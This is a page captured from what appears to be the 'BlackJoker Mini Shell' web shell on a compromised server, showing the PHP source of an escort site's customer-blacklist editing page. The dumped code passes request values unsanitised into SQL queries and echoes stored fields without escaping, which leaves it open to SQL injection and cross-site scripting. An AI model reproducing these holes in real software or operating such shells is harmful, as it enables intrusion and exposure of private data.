GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/public_html/
Upload File :
Current File : /home/serb/public_html/edit_blacklis.php

<?
  session_start();
 include("lib/globals.php");
 include("lib/common.php");
 include("lib/functions.php");
 ?>
 <?
 	if($_POST)
	{
		/*$stdate=$_POST['startyear'].'-'.$_POST['startmonth'].'-'.$_POST['startdate'];
		$enddate=$_POST['endyear'].'-'.$_POST['endmonth'].'-'.$_POST['enddate'];
		
		$sql_postid="SELECT * FROM escort_details where user_id='".$_SESSION['userid']."'";
		$res_postid=execute_query($sql_postid);
		$row_postad=mysql_fetch_array($res_postid);*/
		$date=date('Y-m-d');
		$coment=addslashes($_POST['details']);
		
		/*$sql_tour="Insert into blacklist(id,userid,date,customer_name,phone,safe,coments)VALUES('','".$_SESSION['userid']."','$date','".$_POST['cushandle']."','".$_POST['phone']."','".$_POST['cussafe']."','$coment')";*/
		
		$sql_tour="UPDATE blacklist SET customer_name='".$_POST['cushandle']."', phone='".$_POST['phone']."',coments='$coment' WHERE id='".$_POST['bkid']."'";
		
		execute_query($sql_tour);
		?>
        <script language="javascript">
			location.href="blacklist.php";
		</script>		
		<?	
			
	}
 ?>
 
<? include "includes/header_top.php";?>

<body>

<script language="javascript">

	function validate()
	{		

		if(document.f22.visitor_country.value=="")
		{
			alert("Enter your Country");
			document.f22.visitor_country.focus();
			return false;
		}
		if(document.f22.city.value=="")
		{
			alert("Enter your City");
			document.f22.city.focus();
			return false;
		}
		if(document.f22.cityarea.value=="")
		{
		alert("Enter your City Area");
			document.f22.cityarea.focus();
			return false;
		}
		if(document.f22.phone.value=="")
		{
			alert("Enter your Phone");
			document.f22.phone.focus();
			return false;
		}		

    	if(document.f22.instruction.value=="")
		{
			alert("Select Your Instruction.");			
			document.f22.instruction.focus();
			return false;
		}	
		if(document.f22.email.value=="")
		{

			alert("Enter Your Email.");			
			document.f22.email.focus();
			return false;
		}	
		
		if(document.f22.startmonth.value=="")
		{
			alert("Select Your Starting Month.");			
			document.f22.startmonth.focus();
			return false;
		}
		if(document.f22.startdate.value=="")
		{
			alert("Select Your Starting Date.");			
			document.f22.startdate.focus();
			return false;
		}	
		if(document.f22.startyear.value=="")
		{
			alert("Enter Your Starting Year.");			
			document.f22.startyear.focus();
			return false;
		}			
		
	}

	

</script>
<script>
      function del_record(id,name,page)
   {
	 var msg="Sure to delete your tour with all it's references ? ";
	 var choice=confirm(msg);
	 if(choice)
	 {
	   var target="delete_tour.php?id="+id;
	   //alert(target);
	   window.location.href=target;
	 }
   }
	
</script>
<link rel="stylesheet"  href="css/elements.css" />
<script src="js/my_js.js"></script>

 <? include "includes/header.php";?>
	    
    <div class="main_bg">
   
 		<div style="height:32px;"></div>
        <div  style="width:1000px; margin:0 auto;">
        	
            <div class="statedetails">
                	<div class="stdtls_header">
                    	<span style="color:#000;">Home/My Account
                    </div>
                    <div class="stdtls_midder">
                    	<div style="height:10px;"></div>
                        	<?
							 $sql_postad="select * from escort_details where user_id='".$_SESSION['userid']."'";
							 $res_postad=execute_query($sql_postad);
							 $num_postad=mysql_num_rows($res_postad);
							 $row_postad=mysql_fetch_array($res_postad);
							?>
                    	<div class="left_containmain"> 
                        	                       
                           
                           <div style=" width:960px; margin:0 auto; font-family:'Open Sans',sans-serif; font-size:14px; color:#000;">
                          		
                               	<div class="postadpagebody">
                                	<h1>Edit Own Comments</h1>
                                   <div class="addtourlist">                                    	
                                      
                                      <?
									  	 $sql="SELECT * FROM  blacklist where id='".$_GET['id']."'";	
										 $res=execute_query($sql);
									     $row=mysql_fetch_array($res);
									  
									  ?>
                                      
                                        <div id="regcomcontain">
                                        	<form  action="<?=$_SERVER['PHP_SELF'] ?>" enctype="multipart/form-data"  method="post" name="f22" style="padding: 5px;" onSubmit="return validate();">
                                            <table border="0" cellpadding="0" cellspacing="0" style="margin:0 auto; width:550px;">
                                            
                                            	<tr height="10"></tr>
                                                <tr>
                                                	<td colspan="2" style="text-align:center; font-size:18px; font-weight:bold;">Edit Customer Feedback</td>
                                                </tr>
                                                <tr height="10"></tr>
                                                <tr>
                                                	<td class="jointext222">Customer handle(if known) :</td>
                                                    <td>
                                                    	<input type="text" name="cushandle" class="main_input" value="<?=$row['customer_name']?>" />
                                                    </td>
                                                </tr>
                                                <tr height="8"></tr>
                                                <tr>
                                                	<td class="jointext222">Phone:</td>
                                                    <td><input type="text" name="phone" class="main_input" value="<?=$row['phone']?>" /></td>
                                                </tr>
                                                <tr height="8"></tr>
                                                <!-- <tr>
                                                	<td class="jointext222">Was the customer safe and respectful?:</td>
                                                    <td>
                                                    	 <select  id="ins" class="drp_img2" name="cussafe">
                                                        <option value="Yes">Yes</option>
                                                        <option value="No">No</option>
                                                        
                                                      </select>
                                                    </td>
                                                </tr>
                                                <tr height="8"></tr>-->
                                                <tr>
                                                	<td class="jointext222">Aditional Details:</td>
                                                    <td><textarea name="details" class="main_input" style="width:250px; height:140px;">
                                                    <?
														echo stripslashes($row['coments']);
                                                    ?>
                                                    </textarea></td>
                                                </tr>
                                                 <tr height="8"></tr>
                                                <tr>
                                                	<td colspan="2">*Note: Your feedback is 100% anonymous. Escortservice will facilitate conversations based on a feedback ID and we will never share your identity with others. </td>
                                                   
                                                </tr>
                                                                                           
                                                <tr height="15"></tr>
                                                <tr>
                                                	<td colspan="2" align="center">
                                                    <input type="image" src="images/submit.png" />
                                                    <input type="hidden" name="bkid" value="<?=$_GET['id']?>" />
                                                    
                                                    </td>
                                                </tr>
                                                <tr height="15"></tr>
                                                
                                            
                                            </table>
                                           </form>
                                        </div>
                                    </div>
                                   
                                   
                                    
                                	<br/><br/>
                                </div>
                                
                                <br class="spacer" />
                               
            						
						
                        	</div>
                        <br class="spacer" />
                        </div>
                        
                         
                        
                        
                    
                    </div>
                    <div class="stdtls_footer"></div>
                </div>
            
            <br class="spacer" />
            
        </div>
     
 </div>

<? include "includes/footer.php";?>

./BlackJoker Mini Shell 1.0